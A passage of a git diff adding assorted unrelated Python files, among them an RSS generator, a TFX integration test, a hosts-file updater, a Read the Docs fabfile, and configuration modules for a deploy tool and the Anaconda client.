output.split( "\n" ) ; + time = 0.0 + for i , line in enumerate( lines ) : + if line[ :4 ] == "Time" : + last = len( line ) + time = float( line[ 5:last-1 ] ) + return time + +#GET AVERAGE TIME OF EXECUTION +def get_mean( target , size ) : + sum = 0.0 + for i in range( RUN_TIMES ) : + sum += get_time( run( target , size , i == 0 ) ) + return sum / float( RUN_TIMES ) + + +def main( argv ) : + directory , files , sizes , output = get_params( argv ) + with open( output , "w" ) as f : + for fin in get_files( directory , files ) : + print fin + f.write( fin + "\n" ) + for size in get_size( fin , sizes ) : + print "Processing file:" , fin + print "With N:" , size + f.write( "N: " + str( size ) + ", avg time: " + str( get_mean( fin , size ) ) + "\n" ) + +if __name__ == "__main__": + main( sys.argv[ 1: ] ) diff --git a/pool/shard009/Python/0081059_rssgen.py b/pool/shard009/Python/0081059_rssgen.py new file mode 100644 index 0000000000000000000000000000000000000000..2fe2ebb762c79a0a191ed1788236e7cd73c4ab3a --- /dev/null +++ b/pool/shard009/Python/0081059_rssgen.py @@ -0,0 +1,70 @@ +import xmlgen +import os + +def feed(): + RSSVersion = '2.0' + XSI = 'http://www.w3.org/2001/XMLSchema-instance' + XMLNS = 'http://search.yahoo.com/mrss/' + title = 'DeskSite Video RSS' + link = 'http://desksite.cloudapp.net/' + description = 'Video provision for MSN feed' + + feedRSS = xmlgen.XMLEnclosedTag('rss') + feedRSS.addAttrib('version', RSSVersion) + feedRSS.addAttrib('xmlns:xsi', XSI) + feedRSS.addAttrib('xmlns:media', XMLNS) + feedTitle = xmlgen.XMLEnclosedTag('title') + feedTitle.addContent(title) + feedChannel = xmlgen.XMLEnclosedTag('channel') + feedLink = xmlgen.XMLEnclosedTag('link') + feedLink.addContent(link) + feedDescription = xmlgen.XMLEnclosedTag('description') + feedDescription.addContent(description) + + feedRSS.addChildTag(feedChannel) + feedChannel.addChildTag(feedTitle) + feedChannel.addChildTag(feedLink) + feedChannel.addChildTag(feedDescription) + + numberOfPosts = 25 + numberPosted = 0 + + items = os.listdir(path = 'items/') + items.sort(reverse = True) + for item in items: + if numberPosted < numberOfPosts: + with open('items/' + item, 'r') as itemXMLFile: + itemXML = itemXMLFile.read() + feedChannel.addContent(itemXML) + numberPosted += 1 + + return feedRSS.publish().encode('utf-8') + +def demo(item): + RSSVersion = '2.0' + XSI = 'http://www.w3.org/2001/XMLSchema-instance' + XMLNS = 'http://search.yahoo.com/mrss/' + title = 'Preview RSS Entry' + link = 'http://desksite.cloudapp.net/' + description = 'Posting preview' + + feedRSS = xmlgen.XMLEnclosedTag('rss') + feedRSS.addAttrib('version', RSSVersion) + feedRSS.addAttrib('xmlns:xsi', XSI) + feedRSS.addAttrib('xmlns:media', XMLNS) + feedTitle = xmlgen.XMLEnclosedTag('title') + feedTitle.addContent(title) + feedChannel = xmlgen.XMLEnclosedTag('channel') + feedLink = xmlgen.XMLEnclosedTag('link') + feedLink.addContent(link) + feedDescription = xmlgen.XMLEnclosedTag('description') + feedDescription.addContent(description) + + feedRSS.addChildTag(feedChannel) + feedChannel.addChildTag(feedTitle) + feedChannel.addChildTag(feedLink) + feedChannel.addChildTag(feedDescription) + + feedChannel.addContent(item) + + return feedRSS.publish().encode('utf-8') diff --git a/pool/shard009/Python/0081066_ai_platform_training_component_integration_test.py b/pool/shard009/Python/0081066_ai_platform_training_component_integration_test.py new file mode 100644 index 0000000000000000000000000000000000000000..77ed125cb036b8caf061d289730aa790df88ada2 --- /dev/null +++ b/pool/shard009/Python/0081066_ai_platform_training_component_integration_test.py @@ -0,0 +1,74 @@ +# Copyright 2020 Google LLC. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +"""Integration tests for AI Platform Training component.""" + +import os + +import tensorflow as tf +from tfx.dsl.component.experimental import placeholders +from tfx.dsl.components.common import importer +from tfx.orchestration import pipeline +from tfx.orchestration import test_utils +from tfx.orchestration.kubeflow.v2.components.experimental import ai_platform_training_component +from tfx.orchestration.kubeflow.v2.e2e_tests import base_test_case +from tfx.types import standard_artifacts +from tfx.types.experimental import simple_artifacts + +_PIPELINE_NAME_PREFIX = 'aip-training-component-pipeline-{}' + + +class AiPlatformTrainingComponentIntegrationTest( + base_test_case.BaseKubeflowV2Test): + """Integration tests of AiPlatformTrainingComponent on managed pipeline.""" + + _TEST_DATA_BUCKET = os.environ.get('CAIP_E2E_DATA_BUCKET') + _TRAINING_IMAGE = os.environ.get('CAIP_TRAINING_COMPONENT_TEST_IMAGE') + + def testSuccessfulExecution(self): + example_importer = importer.Importer( + artifact_type=simple_artifacts.File, + reimport=False, + source_uri=f'gs://{self._TEST_DATA_BUCKET}/ai-platform-training/mnist' + ).with_id('examples') + + train = ai_platform_training_component.create_ai_platform_training( + name='simple_aip_training', + project_id=self._GCP_PROJECT_ID, + region=self._GCP_REGION, + image_uri=self._TRAINING_IMAGE, + args=[ + '--dataset', + placeholders.InputUriPlaceholder('examples'), + '--model-dir', + placeholders.OutputUriPlaceholder('model'), + '--lr', + placeholders.InputValuePlaceholder('learning_rate'), + ], + scale_tier='BASIC', + inputs={'examples': example_importer.outputs['result']}, + outputs={'model': standard_artifacts.Model}, + parameters={'learning_rate': '0.001'}) + + pipeline_name = _PIPELINE_NAME_PREFIX.format(test_utils.random_id()) + aip_training_pipeline = pipeline.Pipeline( + pipeline_name=pipeline_name, + pipeline_root=self._pipeline_root(pipeline_name), + components=[example_importer, train], + ) + + self._run_pipeline(aip_training_pipeline) + + +if __name__ == '__main__': + tf.test.main() diff --git a/pool/shard009/Python/0081070_test_legendre.py b/pool/shard009/Python/0081070_test_legendre.py new file mode 100644 index 0000000000000000000000000000000000000000..2021fe5317d2131dd33724762f4e7476d66a6d3e --- /dev/null +++ b/pool/shard009/Python/0081070_test_legendre.py @@ -0,0 +1,22 @@ + +import numpy as np +from pygeoid.sharm import legendre + + +def test_lplm_lplm_d_equality(): + l_max = 2190 + x_test = np.linspace(-1, 1, 10) + + for x in x_test: + lpmn_1 = legendre.lplm_d1(l_max, x)[0] + lpmn_2 = legendre.lplm(l_max, x) + + np.testing.assert_almost_equal( + lpmn_1, lpmn_2, decimal=16) + + +def test_lplm_d_None(): + l_max = 2190 + x = [-1, -0.999999, 0.999999, 1] + lpmn_d = [legendre.lplm_d1(l_max, xi)[1] for xi in x] + np.testing.assert_array_equal(lpmn_d, None) diff --git a/pool/shard009/Python/0081073_updateHosts.py b/pool/shard009/Python/0081073_updateHosts.py new file mode 100644 index 0000000000000000000000000000000000000000..ea8f6215ce86c63c4079f7c042a33e7ff499933c --- /dev/null +++ b/pool/shard009/Python/0081073_updateHosts.py @@ -0,0 +1,167 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +############################# +# name:updateHosts +# author:https://github.com/ladder1984 +# version:1.3.3 +# license:MIT +############################ + +import urllib2 +import platform +import datetime +import time +import re +import os +import shutil +import ConfigParser +import sys +import socket + +# default setting +hosts_folder = "" +hosts_location = hosts_folder + "hosts" + +source_list = ['https://raw.githubusercontent.com/vokins/simpleu/master/hosts'] +not_block_sites = 0 +always_on = 0 +# default setting + +errorLog = open('errorLog.txt', 'a') + + +def get_cur_info(): + return(sys._getframe().f_back.f_code.co_name) + + +def exit_this(): + errorLog.close() + sys.exit() + + +def check_connection(): + sleep_seconds = 1200 + i = 0 + for i in range(sleep_seconds): + try: + socket.gethostbyname("www.baidu.com") + break + except socket.gaierror: + time.sleep(1) + if i == sleep_seconds - 1: + exit_this() + + +def check_system(): + global hosts_folder + global hosts_location + if platform.system() == 'Windows': + hosts_folder = os.environ['SYSTEMROOT']+"\\System32\\drivers\\etc\\" + elif platform.system() == 'Linux'or platform.system() == 'Darwin': + hosts_folder = "/etc/" + else: + exit_this() + hosts_location = hosts_folder + "hosts" + + +def get_config(): + global source_list + global not_block_sites + global always_on + if os.path.exists('config.ini'): + try: + # 清除Windows记事本自动添加的BOM + content = open('config.ini').read() + content = re.sub(r"\xfe\xff", "", content) + content = re.sub(r"\xff\xfe", "", content) + content = re.sub(r"\xef\xbb\xbf", "", content) + open('config.ini', 'w').write(content) + + config = ConfigParser.ConfigParser() + config.read('config.ini') + source_id = config.get('source_select', 'source_id') + source_list = source_id.split(",") + for i in range(len(source_list)): + source_list[i]=config.get('source_select', 'source'+str(i+1)) + + not_block_sites = config.get("function", "not_block_sites") + always_on = config.get("function","always_on") + except BaseException, e: + errorLog.write(str(datetime.datetime.now())+'\n'+'function:'+get_cur_info()+'\nerror:'+str(e)+'\n\n') + exit_this() + + +def backup_hosts(): + try: + if (not os.path.isfile(hosts_folder + 'backup_hosts_original_by_updateHosts')) and \ + os.path.isfile(hosts_folder + 'hosts'): + shutil.copy(hosts_folder+'hosts', hosts_folder+'backup_hosts_original_by_updateHosts') + if os.path.isfile(hosts_folder + 'hosts'): + shutil.copy(hosts_folder+'hosts', hosts_folder+'backup_hosts_last_by_updateHosts') + except BaseException, e: + errorLog.write(str(datetime.datetime.now())+'\n'+'function:'+get_cur_info()+'\nerror:'+str(e)+'\n\n') + exit_this() + + +def download_hosts(): + try: + hosts_from_web = open("hosts_from_web","a") + for x in source_list: + data=urllib2.urlopen(x) + hosts_from_web.write(data.read()) + except BaseException, e: + errorLog.write(str(datetime.datetime.now())+'\n'+'function:'+get_cur_info()+'\nerror:'+str(e)+'\n\n') + exit_this() + + +def process_hosts(): + try: + hosts_content = open('hosts', 'w') + file_from_web = open('hosts_from_web') + hosts_from_web = file_from_web.read() + file_user_defined = open('hosts_user_defined.txt') + hosts_user_defined = file_user_defined.read() + hosts_content.write('#hosts_user_defined\n') + hosts_content.write(hosts_user_defined) + hosts_content.write('\n#hosts_user_defined\n') + hosts_content.write('\n\n#hosts_by_hostsUpdate\n\n') + if not_block_sites is "1": + hosts_from_web = re.sub("127.0.0.1", "#not_block_sites", hosts_from_web) + hosts_content.write(hosts_from_web) + hosts_content.write('\n#hosts_by_hostsUpdate') + hosts_content.close() + file_from_web.close() + file_user_defined.close() + os.remove('hosts_from_web') + except BaseException, e: + errorLog.write(str(datetime.datetime.now())+'\n'+'function:'+get_cur_info()+'\nerror:'+str(e)+'\n\n') + exit_this() + + +def move_hosts(): + try: + shutil.move("hosts", hosts_location) + except BaseException, e: + errorLog.write(str(datetime.datetime.now())+'\n'+'function:'+get_cur_info()+'\nerror:'+str(e)+'\n\n') + exit_this() + + +def main(): + check_connection() + check_system() + get_config() + backup_hosts() + download_hosts() + process_hosts() + move_hosts() + errorLog.close() + + +if __name__ == '__main__': + main() + +if always_on == "1": + while 1: + time.sleep(3600) + main() \ No newline at end of file diff --git a/pool/shard009/Python/0081078_ranking_raw2sqlite.py b/pool/shard009/Python/0081078_ranking_raw2sqlite.py new file mode 100644 index 0000000000000000000000000000000000000000..467c1df0bc265d1895351373124db738e4ecd033 --- /dev/null +++ b/pool/shard009/Python/0081078_ranking_raw2sqlite.py @@ -0,0 +1,64 @@ +import sys +import re +import csv +import sqlite3 + +def readfile(infile): + contents = [] + with open(infile,'r') as f: + lines = f.readlines() + for line in lines: + line = line.strip() + if not line == '': + contents.append(line) + return contents + +def parselines(contents): + schools = [] + rank = 1 + for line in contents: + school = line.split('(')[0].split('.')[1].strip() + county = line.split('(')[1].split(',')[0].strip() + #print "School: {0} - {1}".format(school, county) + schools.append((rank,school,county)) + rank += 1 + return schools + +def createdb(schools,outfile): + con = sqlite3.connect(outfile) + cur = con.cursor() + + query = """CREATE TABLE schools + ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + rank INTEGER, + name TEXT, + county TEXT + ) + """ + cur.execute(query) + + for school in schools: + rank,name,county = school + #query = 'INSERT INTO schools(rank,name,county) VALUES(?,?,?)' + #print query + cur.execute("INSERT INTO schools(rank,name,county) VALUES(?,?,?)",(rank,name,county)) + print "Added {0}: {1}, {2}, {3}".format(cur.lastrowid, rank, name, county) + + cur.close() + con.close() + +def main(argv): + + if len(argv) != 3: + print "\nUsage:\n\tpython {0} \n\n".format(argv[0]) + return + + infile = argv[1] + outfile = argv[2] + + contents = readfile(infile) + schools = parselines(contents) + createdb(schools,outfile) + +if __name__ == '__main__': sys.exit(main(sys.argv)) \ No newline at end of file diff --git a/pool/shard009/Python/0081080_diffraction.py b/pool/shard009/Python/0081080_diffraction.py new file mode 100644 index 0000000000000000000000000000000000000000..549cf94b50c9e2960d1c8007a4407a949d7b2878 --- /dev/null +++ b/pool/shard009/Python/0081080_diffraction.py @@ -0,0 +1,96 @@ +''' +calculates and draws diffraction-limited circle onto different band images +w/ help from Tam Nguyen + +Copyright (c) 2015, Laura Eckman + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. +''' + +from matplotlib import pyplot as plt +from pixel_regions import circle_points + +################################################################################## +''' +wavelengths and angular resolutions of different images + {band: [wavelength (m), aperture (m), known angular resolution (arcmin)]} +***not currently in use: currently only using w4 band in calculations*** +''' + +bands = { + 'w1': (3.4, 0.4, 6.1/60), + 'w2': (4.6, 0.4, 6.4/60), + 'w3': (12., 0.4, 6.5/60), + 'w4': (22., 0.4, 12./60), + 'J': (1.25, 1.3, 2.4/60), + 'H': (1.65, 1.3, 3.2/60), + 'K': (2.17, 1.3, 4.2/60), + 'DSS2+Blue': (0.665, 1.22, 1.4/60), #calculated out, questionable + 'DSS2+Red': (0.975, 1.22, 2.0/60), #calculated out, questionable + 'DSS2+IR': (1.15, 1.22, 2.5/60) #calculated out, questionable + } + +################################################################################# + +def diffract(image,out_file='',display=False): + ''' + Applies diffraction circle to image (based on WISE w4 angular resolution of 12") + Args: + image: numpy array + out_file: str representing save location of processed image (if not empty) + display: bool to display image as matplotlib figure + Returns list of (x,y) points inside diffraction circle + ''' + angular_width=1.0 #arcmin + + #R(1.22*wave/aperture)*180/3.14*60 #arcmin + angular_res = 12./60 #largest, corresponds to w4 band + + img_width = len(image) #pixels + radius = angular_res*img_width/angular_width + center = round(img_width/2) + + fig = plt.imshow(image,cmap=plt.cm.gray,interpolation='nearest') + crosshairs = fig.axes.plot([center], [center], + linestyle='none', marker='+',mew=2,ms=10,color='MediumVioletRed') + c = plt.Circle((center,center), radius, color='MediumVioletRed', linewidth=2, fill=False) + fig.axes.add_patch(c) + plt.axis('off') + fig.axes.get_xaxis().set_visible(False) + fig.axes.get_yaxis().set_visible(False) + + if out_file: + plt.savefig(out_file,bbox_inches='tight',pad_inches=0) + + if display: + plt.title(array) + plt.draw() + plt.pause(.2) + raw_input("Enter to continue: ") + plt.close() + + return circle_points(int(round(radius)),(center,center))[1] + +if __name__ == '__main__': + #example code + ''' + diffract() + plt.draw() + plt.pause(.1) + raw_input('Enter to continue: ') + plt.close() + ''' + pass diff --git a/pool/shard009/Python/0081081_pickle.py b/pool/shard009/Python/0081081_pickle.py new file mode 100644 index 0000000000000000000000000000000000000000..b977782322c72b69682128e82adffb8f6cedc4a5 --- /dev/null +++ b/pool/shard009/Python/0081081_pickle.py @@ -0,0 +1,61 @@ +#!/usr/bin/env python +# +# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +# +# Michael A.G. Aivazis +# California Institute of Technology +# (C) 1998-2005 All Rights Reserved +# +# +# +# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +# + + +from pyre.applications.Script import Script + + +class PickleScript(Script): + + + class Inventory(Script.Inventory): + + import pyre.geometry + import pyre.inventory + + name = pyre.inventory.str("name", default="geometry-test.pml") + modeller = pyre.inventory.facility("modeller", default="canister") + + + def main(self, *args, **kwds): + model = self.modeller.model() + outfile = file(self.inventory.name, "w") + + self.modeller.saveModel(model, outfile) + + return + + + def __init__(self): + Script.__init__(self, "pickle") + self.modeller = None + return + + + def _configure(self): + Script._configure(self) + self.modeller = self.inventory.modeller + return + + +# main +if __name__ == "__main__": + app = PickleScript() + app.run() + + +# version +__id__ = "$Id: pickle.py,v 1.1.1.1 2005/03/08 16:13:50 aivazis Exp $" + +# +# End of file diff --git a/pool/shard009/Python/0081085_fabfile-development.py b/pool/shard009/Python/0081085_fabfile-development.py new file mode 100644 index 0000000000000000000000000000000000000000..613d94e45633168bbada4ba38574f643717d4f8b --- /dev/null +++ b/pool/shard009/Python/0081085_fabfile-development.py @@ -0,0 +1,75 @@ +from fabric.api import cd, env, prefix, run, sudo, task + +# Fill out USER and HOSTS configuration before running +env.user = '' +env.hosts = [''] + +env.code_dir = '/home/%s/rtd/checkouts/readthedocs.org' % (env.user) +env.virtualenv = '/home/%s/rtd' % (env.user) + + +def install_prerequisites(): + """Install prerequisites.""" + sudo("apt-get -y install python-dev python-pip git redis-server texlive " + "texlive-latex-extra") + sudo("pip install virtualenv") + + +def create_virtualenv(): + """Create virtualenv.""" + run("virtualenv --no-site-packages --distribute rtd") + + +def clone_repository(): + """Clone readthedocs repo""" + run("mkdir %s/checkouts" % (env.virtualenv)) + with cd("%s/checkouts" % env.virtualenv): + run("git clone http://github.com/rtfd/readthedocs.org.git") + + +def pip_requirements(): + """Install pip requirements""" + with cd(env.code_dir): + with prefix("source %s/bin/activate" % (env.virtualenv)): + run("pip install -r pip_requirements.txt") + + +def build_db(): + """Build database""" + with prefix("source %s/bin/activate" % (env.virtualenv)): + run("%s/readthedocs/manage.py syncdb" % (env.code_dir)) + + +def migrate_db(): + """Migrate database""" + with prefix("source %s/bin/activate" % (env.virtualenv)): + run("%s/readthedocs/manage.py migrate" % (env.code_dir)) + + +def load_testprojects(): + """Load test data and update repos""" + with prefix("source %s/bin/activate" % (env.virtualenv)): + run("%s/readthedocs/manage.py loaddata test_data" % (env.code_dir)) + run("%s/readthedocs/manage.py update_repos" % (env.code_dir)) + + +@task(default=True) +def install(): + """Install readthedocs""" + install_prerequisites() + create_virtualenv() + clone_repository() + pip_requirements() + build_db() + migrate_db() + load_testprojects() + + +@task +def clean(): + """Clean up everything to start over""" + sudo("rm -rf %s" % (env.virtualenv)) + sudo("pip uninstall virtualenv") + sudo("apt-get -y purge python-dev python-pip git redis-server texlive " + "texlive-latex-extra") + sudo("apt-get -y autoremove --purge") diff --git a/pool/shard009/Python/0081090_config.py b/pool/shard009/Python/0081090_config.py new file mode 100644 index 0000000000000000000000000000000000000000..eac5d51eeaf64f24a9ee5585fb7d4c890b61c226 --- /dev/null +++ b/pool/shard009/Python/0081090_config.py @@ -0,0 +1,196 @@ +from __future__ import absolute_import + +import os +import collections +import ConfigParser + + +NoDefault = object() +SECTIONS = collections.OrderedDict() + + +class attrdict(dict): + "A dict whose keys can be accessed as attributes." + def __init__(self, *args, **kwargs): + dict.__init__(self, *args, **kwargs) + self.__dict__ = self + + +class ConfigurationError(Exception): + "Exception to raise when there's a problem with the configuration file." + def __init__(self, section, name, message): + self.section = section + self.name = name + self.message = message + + def __str__(self): + return 'section "%s": option "%s": %s' % (self.section, + self.name, + self.message) + + +def boolean(input): + """Converter that takes a string and tries to divine if it means + true or false""" + if input.lower() in ("true", "on"): + return True + elif input.lower() in ("false", "off"): + return False + else: + raise ValueError('"%s" not boolean' % input) + + +class Option(object): + "Declarative explanation of a configuration option." + def __init__(self, convert, default=NoDefault, validator=None): + self.convert = convert + self.default = default + self.validator = validator + + +def _make_extractor(cls, prefix="", required=True): + section_name = cls.__name__[:-len("config")].lower() + if prefix: + section_name = prefix + ":" + section_name + + def config_extractor(parser): + section = attrdict() + for name, option_def in vars(cls).iteritems(): + if not isinstance(option_def, Option): + continue + + try: + value = parser.get(section_name, name) + except (ConfigParser.NoSectionError, ConfigParser.NoOptionError): + if option_def.default is NoDefault: + raise ConfigurationError(section_name, name, + "required but not present") + value = option_def.default + else: + try: + value = option_def.convert(value) + except Exception, e: + raise ConfigurationError(section_name, name, e) + + section[name] = value + return section + + config_extractor.required = required + config_extractor.prefix = prefix + SECTIONS[section_name] = config_extractor + + +def config_section(*args, **kwargs): + if len(args) == 1 and not kwargs: + # bare decorator "@config_section" style + return _make_extractor(args[0]) + + def config_decorator(cls): + return _make_extractor(cls, **kwargs) + return config_decorator + + +@config_section +class SshConfig(object): + user = Option(str) + key_filename = Option(str, default=None) + strict_host_key_checking = Option(boolean, default=True) + timeout = Option(int, default=30) + + +@config_section +class DeployConfig(object): + build_host = Option(str) + deploy_binary = Option(str) + build_binary = Option(str) + + +@config_section +class PathsConfig(object): + log_root = Option(str) + wordlist = Option(str, default="/usr/share/dict/words") + + +@config_section +class SyslogConfig(object): + def syslog_enum(value): + import syslog + value = "LOG_" + value + return getattr(syslog, value) + + ident = Option(str, default="deploy") + facility = Option(syslog_enum) + priority = Option(syslog_enum) + + +@config_section +class HostsConfig(object): + def valid_host_source(value): + try: + section = SECTIONS["hosts:" + value] + except KeyError: + raise ValueError("invalid host source: %r" % value) + section.required = True + return value + source = Option(valid_host_source) + + +@config_section(prefix="hosts", required=False) +class DnsConfig(object): + domain = Option(str) + + +@config_section(prefix="hosts", required=False) +class MockConfig(object): + host_count = Option(int) + + +@config_section(prefix="hosts", required=False) +class ZooKeeperConfig(object): + connection_string = Option(str) + username = Option(str) + password = Option(str) + + +@config_section +class DefaultsConfig(object): + sleeptime = Option(int, default=0) + shuffle = Option(boolean, default=False) + + +def alias_parser(parser): + aliases = {} + if parser.has_section("aliases"): + for key, value in parser.items("aliases"): + aliases[key] = [glob.strip() for glob in value.split(' ')] + return aliases +SECTIONS["aliases"] = alias_parser + + +def default_ref_parser(parser): + default_refs = {} + if parser.has_section("default_refs"): + default_refs.update(parser.items("default_refs")) + return default_refs +SECTIONS["default_refs"] = default_ref_parser + + +def parse_config(): + """Loads the configuration files and parses them according to the + section parsers in SECTIONS.""" + parser = ConfigParser.RawConfigParser() + parser.read(["/opt/push/etc/push.ini", os.path.expanduser("~/.push.ini")]) + + config = attrdict() + for name, section_parser in SECTIONS.iteritems(): + is_required = getattr(section_parser, "required", True) + if is_required or parser.has_section(name): + prefix = getattr(section_parser, "prefix", None) + parsed = section_parser(parser) + if not prefix: + config[name] = parsed + else: + unprefixed = name[len(prefix) + 1:] + config.setdefault(prefix, attrdict())[unprefixed] = parsed + + return config diff --git a/pool/shard009/Python/0081094_preview.py b/pool/shard009/Python/0081094_preview.py new file mode 100644 index 0000000000000000000000000000000000000000..bdc55bb920ac3c553ba696e0ba925ab2f6c24240 --- /dev/null +++ b/pool/shard009/Python/0081094_preview.py @@ -0,0 +1,47 @@ +# Copyright 2014 (C) Raster Software Vigo (Sergio Costas) +# +# This file is part of DeVeDe-NG +# +# DeVeDe-NG is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 3 of the License, or +# (at your option) any later version. +# +# DeVeDe-NG is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see + +from gi.repository import Gtk +import os +import devedeng.configuration_data + + +class preview_window: + + def __init__(self): + + self.config = devedeng.configuration_data.configuration.get_config() + + def run(self): + + builder = Gtk.Builder() + builder.set_translation_domain(self.config.gettext_domain) + + builder.add_from_file(os.path.join(self.config.glade, "wpreview.ui")) + builder.connect_signals(self) + wpreview_window = builder.get_object("dialog_preview") + wlength = builder.get_object("length") + + wpreview_window.show_all() + wlength.set_value(60.0) + retval = wpreview_window.run() + self.lvalue = int(wlength.get_value()) + wpreview_window.destroy() + if (retval == 1): + return True + else: + return False diff --git a/pool/shard009/Python/0081095_config.py b/pool/shard009/Python/0081095_config.py new file mode 100644 index 0000000000000000000000000000000000000000..4e6426b142d81499d48e7afcc698aa5d7f219354 --- /dev/null +++ b/pool/shard009/Python/0081095_config.py @@ -0,0 +1,284 @@ +from __future__ import print_function, absolute_import, unicode_literals + +from os.path import exists, join, dirname, isfile, isdir, abspath, expanduser +from string import Template + +import collections +import logging +import os +import stat +import warnings +import itertools + + +try: + from urllib import quote_plus +except ImportError: + from urllib.parse import quote_plus + +from binstar_client.utils.conda import CONDA_PREFIX, CONDA_ROOT +from binstar_client.utils.appdirs import AppDirs, EnvAppDirs +from binstar_client.errors import BinstarError + +from .yaml import yaml_load, yaml_dump + + +logger = logging.getLogger('binstar') + + +def expandvars(path): + environ = dict(CONDA_ROOT=CONDA_ROOT, CONDA_PREFIX=CONDA_PREFIX) + environ.update(os.environ) + return Template(path).safe_substitute(**environ) + + +def expand(path): + return abspath(expanduser(expandvars(path))) + + +if 'BINSTAR_CONFIG_DIR' in os.environ: + dirs = EnvAppDirs('binstar', 'ContinuumIO', os.environ['BINSTAR_CONFIG_DIR']) + USER_CONFIG = join(dirs.user_data_dir, 'config.yaml') +else: + dirs = AppDirs('binstar', 'ContinuumIO') + USER_CONFIG = expand('~/.continuum/anaconda-client/config.yaml') + + +# Package types used in upload/download +PACKAGE_TYPES = { + 'env': 'Environment', + 'ipynb': 'Notebook', + 'conda' : 'Conda Package', + 'pypi': 'Python Package', +} + +USER_LOGDIR = dirs.user_log_dir +SITE_CONFIG = expand('$CONDA_ROOT/etc/anaconda-client/config.yaml') +SYSTEM_CONFIG = SITE_CONFIG + +DEFAULT_URL = 'https://api.anaconda.org' +DEFAULT_CONFIG = { + 'sites': { + 'anaconda': {'url': DEFAULT_URL}, + 'binstar': {'url': DEFAULT_URL}, + }, + 'auto_register': True, + 'default_site': None, + 'url': DEFAULT_URL, + 'ssl_verify': True +} + +CONFIGURATION_KEYS = [ + 'auto_register', + 'default_site', + 'upload_user', + 'sites', + 'url', + 'verify_ssl', + 'ssl_verify', +] + +SEARCH_PATH = ( + dirs.site_data_dir, + '/etc/anaconda-client/', + '$CONDA_ROOT/etc/anaconda-client/', + dirs.user_data_dir, + '~/.continuum/anaconda-client/', + '$CONDA_PREFIX/etc/anaconda-client/', +) + + +def recursive_update(config, update_dict): + for update_key, updated_value in update_dict.items(): + if isinstance(updated_value, collections.Mapping): + updated_value_dict = recursive_update(config.get(update_key, {}), updated_value) + config[update_key] = updated_value_dict + else: + config[update_key] = update_dict[update_key] + + return config + + +def get_server_api(token=None, site=None, cls=None, config=None, **kwargs): + """ + Get the anaconda server api class + """ + if not cls: + from binstar_client import Binstar + cls = Binstar + + config = config if config is not None else get_config(site=site) + + url = config.get('url', DEFAULT_URL) + + logger.info("Using Anaconda API: %s", url) + + if token: + logger.debug("Using token from command line args") + elif 'BINSTAR_API_TOKEN' in os.environ: + logger.debug("Using token from environment variable BINSTAR_API_TOKEN") + token = os.environ['BINSTAR_API_TOKEN'] + elif 'ANACONDA_API_TOKEN' in os.environ: + logger.debug("Using token from environment variable ANACONDA_API_TOKEN") + token = os.environ['ANACONDA_API_TOKEN'] + else: + token = load_token(url) + + verify = config.get('ssl_verify', config.get('verify_ssl', True)) + + return cls(token, domain=url, verify=verify, **kwargs) + + +def get_binstar(args=None, cls=None): + """ + DEPRECATED METHOD, + + use `get_server_api` + """ + + warnings.warn( + 'method get_binstar is deprecated, please use `get_server_api`', + DeprecationWarning + ) + + token = getattr(args, 'token', None) + log_level = getattr(args, 'log_level', logging.INFO) + site = getattr(args, 'site', None) + + aserver_api = get_server_api(token=token, site=site, log_level=log_level, cls=cls) + return aserver_api + + +TOKEN_DIRS = [ + dirs.user_data_dir, + join(dirname(USER_CONFIG), 'tokens'), +] +TOKEN_DIR = TOKEN_DIRS[-1] + + +def store_token(token, args): + config = get_config(site=args and args.site) + + for token_dir in TOKEN_DIRS: + url = config.get('url', DEFAULT_URL) + + if not isdir(token_dir): + os.makedirs(token_dir) + tokenfile = join(token_dir, '%s.token' % quote_plus(url)) + + if isfile(tokenfile): + os.unlink(tokenfile) + with open(tokenfile, 'w') as fd: + fd.write(token) + os.chmod(tokenfile, stat.S_IWRITE | stat.S_IREAD) + + +def load_token(url): + for token_dir in TOKEN_DIRS: + tokenfile = join(token_dir, '%s.token' % quote_plus(url)) + + if isfile(tokenfile): + logger.debug("Found login token: {}".format(tokenfile)) + with open(tokenfile) as fd: + token = fd.read().strip() + + if token: + return token + else: + logger.debug("Token file is empty: {}".format(tokenfile)) + logger.debug("Removing file: {}".format(tokenfile)) + os.unlink(tokenfile) + + +def remove_token(args): + config = get_config(site=args and args.site) + url = config.get('url', DEFAULT_URL) + + for token_dir in TOKEN_DIRS: + tokenfile = join(token_dir, '%s.token' % quote_plus(url)) + if isfile(tokenfile): + os.unlink(tokenfile) + + +def load_config(config_file): + if exists(config_file): + with open(config_file) as fd: + data = yaml_load(fd) + if data: + return data + + return {} + + +def load_file_configs(search_path): + def _file_yaml_loader(fullpath): + assert 